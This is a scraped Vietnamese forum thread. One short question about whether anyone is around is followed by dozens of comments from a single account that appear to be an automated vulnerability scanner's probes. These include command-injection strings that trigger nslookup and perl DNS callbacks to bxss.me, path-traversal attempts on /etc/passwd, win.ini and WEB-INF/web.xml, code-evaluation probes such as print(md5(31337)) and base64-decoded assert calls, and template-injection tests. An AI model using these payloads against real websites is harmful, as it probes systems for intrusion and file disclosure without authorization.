cho hỏi có ai ở đây không ạ:)

Viết câu trả lời

Drop Images

2 Bình luận

hecker avatar

Có đó:)))))))))))

phqghume avatar
phqghume avatar

qghaF8QY

phqghume avatar

response.write(9829181*9877772)

phqghume avatar
phqghume avatar

'+response.write(9829181*9877772)+'

phqghume avatar
phqghume avatar

"+response.write(9829181*9877772)+"

phqghume avatar
phqghume avatar
phqghume avatar
phqghume avatar

echo kbfkqz$()\ nlnvjt\nz^xyu||a #' &echo kbfkqz$()\ nlnvjt\nz^xyu||a #|" &echo kbfkqz$()\ nlnvjt\nz^xyu||a #

phqghume avatar
phqghume avatar

&echo kheaew$()\ igiweb\nz^xyu||a #' &echo kheaew$()\ igiweb\nz^xyu||a #|" &echo kheaew$()\ igiweb\nz^xyu||a #

phqghume avatar

../../../../../../../../../../../../../../etc/passwd

phqghume avatar
phqghume avatar

|echo srshzr$()\ gchwhd\nz^xyu||a #' |echo srshzr$()\ gchwhd\nz^xyu||a #|" |echo srshzr$()\ gchwhd\nz^xyu||a #

phqghume avatar

../../../../../../../../../../../../../../windows/win.ini

phqghume avatar
phqghume avatar

(nslookup hitfdxuckyoqx5a313.bxss.me||perl -e "gethostbyname('hitfdxuckyoqx5a313.bxss.me')")

phqghume avatar

../../../../../../../../../../../../../../../proc/version

phqghume avatar
phqghume avatar

$(nslookup hitpyvyozmuxuf2119.bxss.me||perl -e "gethostbyname('hitpyvyozmuxuf2119.bxss.me')")

phqghume avatar

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

phqghume avatar
phqghume avatar

&(nslookup hitxvbathhuam59e41.bxss.me||perl -e "gethostbyname('hitxvbathhuam59e41.bxss.me')")&'\"0&(nslookup hitxvbathhuam59e41.bxss.me||perl -e "gethostbyname('hitxvbathhuam59e41.bxss.me')")&'

phqghume avatar

../../../../../../../../../../etc/passwd.vn/thanh-vien/hecker) :

phqghume avatar

|(nslookup hittpddegznax1d493.bxss.me||perl -e "gethostbyname('hittpddegznax1d493.bxss.me')")

phqghume avatar

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.vn/thanh-vien/hecker) :

phqghume avatar
phqghume avatar

(nslookup hitaqryohshvre2c00.bxss.me||perl -e "gethostbyname('hitaqryohshvre2c00.bxss.me')")

phqghume avatar
phqghume avatar

/../..//../..//../..//../..//../..//etc/passwd.vn/thanh-vien/hecker) :

phqghume avatar
phqghume avatar

;(nslookup hitheagbbfeng0573c.bxss.me||perl -e "gethostbyname('hitheagbbfeng0573c.bxss.me')")|(nslookup hitheagbbfeng0573c.bxss.me||perl -e "gethostbyname('hitheagbbfeng0573c.bxss.me')")&(nslookup hitheagbbfeng0573c.bxss.me||perl -e "gethostbyname('hitheagbbfeng0573c.bxss.me')")

phqghume avatar

12345'"\'\");|]*{ <>

phqghume avatar

.\./.\./.\./.\./.\./.\./etc/passwd

phqghume avatar
phqghume avatar

/etc/passwd

phqghume avatar
phqghume avatar

%2fetc%2fpasswd

phqghume avatar
phqghume avatar

/.././.././.././.././.././.././.././../etc/./passwd%00

phqghume avatar

${10000017+10000003}

phqghume avatar
phqghume avatar

../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

phqghume avatar
phqghume avatar

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

phqghume avatar
phqghume avatar
phqghume avatar

../././../././../././../././../././../././../././../././../././../././etc/passwd

phqghume avatar
phqghume avatar

..

phqghume avatar

invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

phqghume avatar

file:///etc/passwd

phqghume avatar

/../../../../../../../etc/passwd

phqghume avatar

@hecker :e@hecker : &n983655=v953198

phqghume avatar
phqghume avatar

/WEB-INF/web.xml

phqghume avatar
phqghume avatar
phqghume avatar
phqghume avatar

C:\WINDOWS\system32\drivers\etc\hosts

phqghume avatar
phqghume avatar
phqghume avatar

../../../../../../../../../../windows/win.ini.vn/thanh-vien/hecker) :

phqghume avatar
phqghume avatar
phqghume avatar

1some_inexistent_file_with_long_name.vn/thanh-vien/hecker) :

phqghume avatar

/../../../../../../../../../../boot.ini

phqghume avatar
phqghume avatar
phqghume avatar
phqghume avatar

................\windows\win.ini

phqghume avatar
phqghume avatar

bxss.me

phqghume avatar

................\windows\win.ini

phqghume avatar
phqghume avatar

)

phqghume avatar

/.\./.\./.\./.\./.\./.\./windows/win.ini

phqghume avatar
phqghume avatar

!(()&&!|||

phqghume avatar

../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini

phqghume avatar
phqghume avatar

^(#$!@#$)(()))**

phqghume avatar

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini

phqghume avatar
phqghume avatar

unexisting/../../../../../../../../../../windows/win.ini....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................\

phqghume avatar
phqghume avatar

WEB-INF/web.xml

phqghume avatar
phqghume avatar

WEB-INF\web.xml

phqghume avatar
phqghume avatar
phqghume avatar
phqghume avatar
phqghume avatar
phqghume avatar
phqghume avatar
phqghume avatar
phqghume avatar
phqghume avatar
phqghume avatar
phqghume avatar
phqghume avatar
phqghume avatar
phqghume avatar
phqghume avatar
phqghume avatar
phqghume avatar
phqghume avatar
phqghume avatar
phqghume avatar
phqghume avatar
phqghume avatar

'.gethostbyname(lc('hitgz'.'jmtptrgxf846c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(87).chr(106).chr(73).'

phqghume avatar
phqghume avatar
phqghume avatar

".gethostbyname(lc("hityl"."tldddlhefe8eb.bxss.me."))."A".chr(67).chr(hex("58")).chr(103).chr(68).chr(103).chr(79)."

phqghume avatar
phqghume avatar
phqghume avatar
phqghume avatar
phqghume avatar
phqghume avatar
phqghume avatar
phqghume avatar
phqghume avatar

"+"A".concat(70-3).concat(22*4).concat(107).concat(88).concat(101).concat(72)+(require"socket" Socket.gethostbyname("hitcf"+"xavqpwvt45333.bxss.me.")[3].to_s)+"

phqghume avatar
phqghume avatar

bxss.me/t/xss.html?%00

phqghume avatar

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

phqghume avatar

'+'A'.concat(70-3).concat(22*4).concat(118).concat(85).concat(97).concat(87)+(require'socket' Socket.gethostbyname('hitug'+'ldqrfcufd76f4.bxss.me.')[3].to_s)+'

phqghume avatar
phqghume avatar

';print(md5(31337));$a='

phqghume avatar

";print(md5(31337));$a="

phqghume avatar

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

phqghume avatar
phqghume avatar

${@print(md5(31337))}

phqghume avatar
phqghume avatar

tra-loi-comment

phqghume avatar
phqghume avatar
phqghume avatar

${@print(md5(31337))}\

phqghume avatar

tra-loi-comment

phqghume avatar
phqghume avatar
phqghume avatar
phqghume avatar

'.print(md5(31337)).'

phqghume avatar

tra-loi-comment/.

phqghume avatar
phqghume avatar
phqghume avatar
phqghume avatar

/xfs.bxss.me

phqghume avatar

914547

phqghume avatar

'"

phqghume avatar
phqghume avatar
phqghume avatar